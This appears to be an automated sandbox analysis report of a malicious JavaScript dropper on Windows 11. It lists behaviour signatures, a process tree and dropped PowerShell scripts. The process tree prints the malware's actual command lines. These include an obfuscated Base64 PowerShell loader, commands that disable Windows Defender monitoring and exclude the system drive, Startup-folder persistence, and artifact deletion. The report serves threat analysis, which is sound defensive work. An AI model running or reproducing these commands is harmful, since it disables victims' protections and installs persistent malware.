Analysis

  • max time kernel
    149s
  • max time network
    93s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/06/2026, 08:53

General

  • Target
    BS21110088121812100-00111.js
  • Size 41KB
  • Sample260602-ktb84ahs8z
  • SHA256 76f86c7176b7d4df360bdcaf40864f40b148f841f95cd290ec017a7210a8a0ca
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Adds Run key to start application 2 TTPs 6 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 28 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Runs ping.exe 1 TTPs 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\BS21110088121812100-00111.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\vtczg.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1140
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$OoOOF = $null ;;$HSfNk ;;$uMMuq ;;$uMMuq = 'ZnVuY3Rpb24gaXJSa' + '0' + 'ggew' + '0' + 'KIC' + ' + A + ' + 'gIHBvd2Vyc2hlbGwgLWNvbW1hbmQgIlJlc3RhIi' + 'A' + 'rICJydC1Db21wdXRlci' + 'A' + 'tRm' + ' + 9 + ' + 'yY2UiDQp' + ' + 9 + ' + 'O1N' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDU7IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpT' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sID' + '0' + 'gW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMjsNCjskcFZ1Vm8gPSBUZXN' + '0' + 'LUNvbm5lY3Rpb24gJ3d3dy5nb2' + ' + 9 + ' + 'nbGUuY2' + ' + 9 + ' + 'tJy' + 'A' + 'tRXJyb3JBY3Rpb24gU2ls' + 'ZW' + '5' + '0' + 'bHlDb25' + '0' + 'aW51ZTsNCiRFRml5ci' + 'A' + '' + ' + 9 + ' + 'ICRwVnVWby' + 'A' + 'taXMgW' + '0' + 'FycmF5XTsNCmlmICgkRUZpeXIpew' + '0' + 'KDQp' + ' + 9 + ' + 'DQplbHNlew' + '0' + 'KaXJSa' + '0' + 'ggOw' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gZXhpdDsNCn' + '0' + '7DQoNCiRteGpGcC' + 'A' + '' + ' + 9 + ' + 'ICdJbW11bml' + '0' + 'eURlYnVnZ2VyJy' + 'A' + '7DQoNCjtpZigoZ2V' + '0' + 'LXByb2Nlc3MgJ2hhbmRsZScsICdhdXRvJy' + 'A' + 'rICdydW5zYycsICdEYmd2aWV3JywgJ3RjcHZjb24nLC' + 'A' + 'nYW55LnJ1bicsICdhbnkucnVuJywgJ3NhbmRib3gnLC' + 'A' + 'ndGNwdmlldycsICdPTExZREJHJywkbXhqRn' + 'A' + 'sICdXaXJlJy' + 'A' + 'rICdzaGFyaycsJ2FwYXRlRE5TJywnYW5hbHl6ZScgLWVhIFNpbGVudGx5Q2' + ' + 9 + ' + 'udGludWUpIC1lcS' + 'A' + 'kTnVsbCl7I' + 'A' + '' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gI' + 'A' + '' + '0' + 'KfQ' + '0' + 'K' + 'ZW' + 'xzZXsgDQppclJrSC' + 'A' + '7DQogIC' + 'A' + 'gICBleGl' + '0' + 'Ow' + '0' + 'KIH' + '0' + '7W1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIDskbmV6U287RnVuY3Rpb24gVWdzTUV7OyRVbWpzbS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtzeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJG5lelNvKSk7cmV' + '0' + 'dXJuICRVbWpzbTt' + ' + 9 + ' + 'OyRrTllaZS' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ3l4aHBmLnR4dCcpOyRkRFRvci' + 'A' + '' + ' + 9 + ' + 'ICdhSFIwY' + '0' + 'hNNkx5Jy' + 'A' + 'rICgnOWhibVJ5WldabGJHbHdaV1J2Ym1GelkybHRaVEUzTnpnM' + '0' + '8nIC1yZXBsYWNlICwgJ1wkJywgJ' + '0' + 'EnKS' + 'A' + 'rICdUazBNRFk1TnpBdU1qSTBNVEV3Tnk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlIY' + '0' + 'dGNmJFeF' + 'ZW' + 'MGxLWHpFMFh6QTFYMDFsZFhOZlFYSnhkV2wyYjNORVpWUmxlSFJ2THpBekxuUjRkQT' + '0' + '' + ' + 9 + ' + 'Jy' + 'A' + '7JG5lelNvID' + '0' + 'gJGREVG' + ' + 9 + ' + 'yOy' + 'A' + 'kZERUb3IgPSBVZ3NNRTskZERUb3IgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGtOWVplIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDskS1FaZmUgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdtbHFubC5' + '0' + 'eHQnKS' + 'A' + '7JHB2cGNzID' + '0' + 'gTmV3LU' + ' + 9 + ' + 'iamVjdCBTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYkNsaWVudC' + 'A' + '7JHB2cGNzLkVuY2' + ' + 9 + ' + 'kaW5nID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC' + 'A' + '7JHB2cGNzLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6Q2FjaGVDb25' + '0' + 'cm' + ' + 9 + ' + 'sLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JHB2cGNzLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6UHJhZ21hLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JHB2cGNzLlByb3h5ID' + '0' + 'gJG51bGwgOyRhdnRWdi' + 'A' + 'gPS' + 'A' + 'oIEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRrTllaZS' + 'A' + 'pIDskVmRhUW4gPS' + 'A' + 'kcHZwY3MuRG' + ' + 9 + ' + '3bmxvYWREYXRhKC' + 'A' + 'kYXZ' + '0' + 'VnYuVHJpbSgpICkgOyRtemNnaC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKCRWZGFRbik7JG16Y2doID' + '0' + 'gKE' + 'A' + 'oW3JlZ2V4XTo6c3BsaXQoJG16Y2doLCdcJXglKycpKVsxXSkuVHJpbSgpOyRtemNnaCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kS1FaZmUgLWZvcmNlIDskU' + '0' + 'Rkd3cgPS' + 'A' + 'nTG8nICsgJ2FkJzskSEl3WVogPS' + 'A' + 'nQXNzZScgKy' + 'A' + 'nbWJseSc7JE' + ' + 9 + ' + 'rendKID' + '0' + 'gJ2ludicgKy' + 'A' + 'nb2tlJzskcGJnRnQgPS' + 'A' + 'nUmVmbGUnICsgJ2N' + '0' + 'aW' + ' + 9 + ' + 'uJzskZ2tVSUggPS' + 'A' + 'kbnVsbDskeGtzd3ggKz' + '0' + 'gJyRSQkJmWi' + 'A' + '' + ' + 9 + ' + 'ICgnJ2ggdCB' + '0' + 'cHMgOi' + 'A' + 'vIC8nJy5SZXBsYWNlKCcnICcnLC' + 'A' + 'nJycnKS' + 'A' + 'rICcnYW5kcmVm' + 'ZW' + 'xpcGVkb25hc2NpbWUxNzc4Nzk5ND' + 'A' + '2OTcwLjIyNDExMDcubWV1c2l' + '0' + '' + 'ZW' + 'hvc3RnYXRvci5jb2' + '0' + 'uYnIvJycgKy' + 'A' + 'nJ' + '0' + 'dwYXpsTFVXSUpfMTRfMDVfTWV1c1' + ' + 9 + ' + 'BcnF1aXZvc' + '0' + 'RlVGV4dG8vJycgKy' + 'A' + 'nJ1BlTm8nJykgOycgOyR4a3N3eC' + 'A' + 'rPS' + 'A' + 'nJHpnSG' + ' + 9 + ' + 'XID' + '0' + 'gJyclYmFzZTY' + '0' + 'JWRIaDBMbXhpTDJGa' + '0' + '5EaGpMMjF2WXk1aGFYSjFiM' + '0' + 'owYzJGakxtOee3kmIyeGhkR' + '0' + 'ZqTHk4NmMzQjBkR2c' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + 'A' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + 'A' + 'sICcnbicnKS' + 'A' + '7OyRjVEZ6Ti' + 'A' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWJsaWNcJycgKy' + 'A' + 'nJ21scW5sLnR4dCcnKS' + 'A' + '7JHBkZGR' + '0' + 'ID' + '0' + 'gKEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRjVEZ6Ti' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JHhrc3d4ICs' + ' + 9 + ' + 'ICckcGRkZHQgLXJlcGxhY2UgJycgJycsICcnJycgOycgOyR4a3N3eC' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV' + '0' + 'kaGh2eG4gPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV' + '0' + '6Om5ldygpOycgOyR4a3N3eC' + 'A' + 'rPS' + 'A' + 'nJGhodnhuID' + '0' + 'gKCRwZGRkdC' + 'A' + 'gLXNwbGl' + '0' + 'ICcnLCcnIHwgRm' + ' + 9 + ' + 'yRWFjaC1PYmplY3QgeyBbYnl' + '0' + 'ZV' + '0' + 'oJF8uVHJpbSgpKSB' + ' + 9 + ' + 'KS' + 'A' + '7JzskeGtzd3ggKz' + '0' + 'gJyRzclFEby' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uJy' + 'A' + 'rICRwYmdGdC' + 'A' + 'rICcuJy' + 'A' + 'rICRISXd' + 'ZW' + 'i' + 'A' + 'rICddOjonICsgJFNEZHd3ICsgJyggJGhodnhuICk7Jy' + 'A' + '7JHhrc3d4ICs' + ' + 9 + ' + 'ICckZ3hWeEkgPS' + 'A' + 'kc3JRRG8uR2V' + '0' + 'VHlwZSggJydDbGFzc' + '0' + 'xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JHhrc3d4ICs' + ' + 9 + ' + 'ICckWERyUWQgPS' + 'A' + 'kZ3hWeEkuR2V' + '0' + 'TWV' + '0' + 'aG' + ' + 9 + ' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJE' + ' + 9 + ' + 'rendKICsgJyggJGdrVUlIICwgW2' + ' + 9 + ' + 'iamVjdFtdXS' + 'A' + 'oICR6Z' + '0' + 'hvVy' + 'A' + 'sICcnJX' + 'ZW' + 'bEd6JScnICwgJydEIEREQzpcV2luZG' + ' + 9 + ' + '3c1xNaWNyb3NvZnQuTkVUXEZyYW1ld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskakdhZEIgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdtcGJxZF8wMS5wczEnICkgOyR4a3N3eCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kakdhZEIgLWZvcmNlIDtTdGFydC1TbGVlcC' + 'A' + 'tcy' + 'A' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICRqR2FkQi' + 'A' + '7' ;;$HSfNk ;;$GGIvy = ($uMMuq + $HSfNk) ;;$jqsdl = $GGIvy ;$jqsdl = $jqsdl.replace('''',$OoOOF) ;$jqsdl = $jqsdl.replace('+ ',$OoOOF) ;$jqsdl = $jqsdl.replace(' ',$OoOOF) ;Function Cdqxn{;$xVYHD = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $jqsdl ));return $xVYHD;};$gtDQD = Cdqxn; $gtDQD = ($gtDQD -replace '%vVlGz%','C:\Users\Public\vtczg的这五js') ;$JWSrQ = 'C:\Users\Public\mrmsc.p' + 's1' ; $gtDQD | Out-File -FilePath $JWSrQ -force ; powershell -ExecutionPolicy Bypass -file $JWSrQ ; "
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4536
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\mrmsc.ps1
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3432
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\mpbqd_01.ps1
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4716
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe Clear-DnsClientCache -ErrorAction SilentlyContinue; ipconfig /flushdns | Out-Null ;
              6⤵
              • Hide Artifacts: Ignore Process Interrupts
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1400
              • C:\Windows\system32\ipconfig.exe
                "C:\Windows\system32\ipconfig.exe" /flushdns
                7⤵
                • Gathers network information
                PID:2356
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778728540.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:3752
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4480
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\bs21110088121812100-00111.js"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:1200
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:1620
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:4500
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:1520
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi5e01.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:2716
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:3460
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi5e1b.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:384
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4108
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui5e01.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:4668
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:1724
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui5e1b.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:2956
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:3964
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\mlqnl.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:2216
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4956
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\mpbqd_01.ps1"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:3064
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:3632
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\mrmsc.ps1"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:1736
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:1432
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\vtczg.js"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:4980
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:3648
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\yxhpf.txt"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:1684
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4056
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2324
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\vtczg.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vtczg.js"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:2264
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 1
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:3740
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\vtczg.js & del "1"
              6⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:5060
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n C:\Users\Public\vtczg.js
                7⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:2836
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c del "C:\Users\Public\vtczg.js"
              6⤵
                PID:5080
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\pkurj.ps1"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                PID:1784
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                PID:3236
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\djlpa.ps1"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of WriteProcessMemory
                PID:936
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:1800
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\chujt.ps1"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4076
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1804
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    PID:980
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1500
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2476
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4104
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c del "C:\Users\Public\vtczg.js"
                6⤵
                  PID:3980

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            chujt.ps1

            • Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\chujt.ps1
            • Size 320B
            • SHA256 9235e76825390e1c3edbee76a875d7ca0867129a4967b297a95aaeb08e21c2a9
            • MD5 SHA1 SHA512 TLSH

            djlpa.ps1

            • Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\djlpa.ps1
            • Size 19.7MB
            • SHA256 6f07302da9c0dafe03d2a77d204820cbb209d988454b252cb1f8b5f497addcf8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            pkurj.ps1

            • Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\pkurj.ps1
            • Size 418B
            • SHA256 91d7a4da032f878571431f3cef9ac81b3b83010fd0ad1627983de03241a48a97
            • MD5 SHA1 SHA512 TLSH

            rhxxc.ps1

            • Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1
            • Size 423B
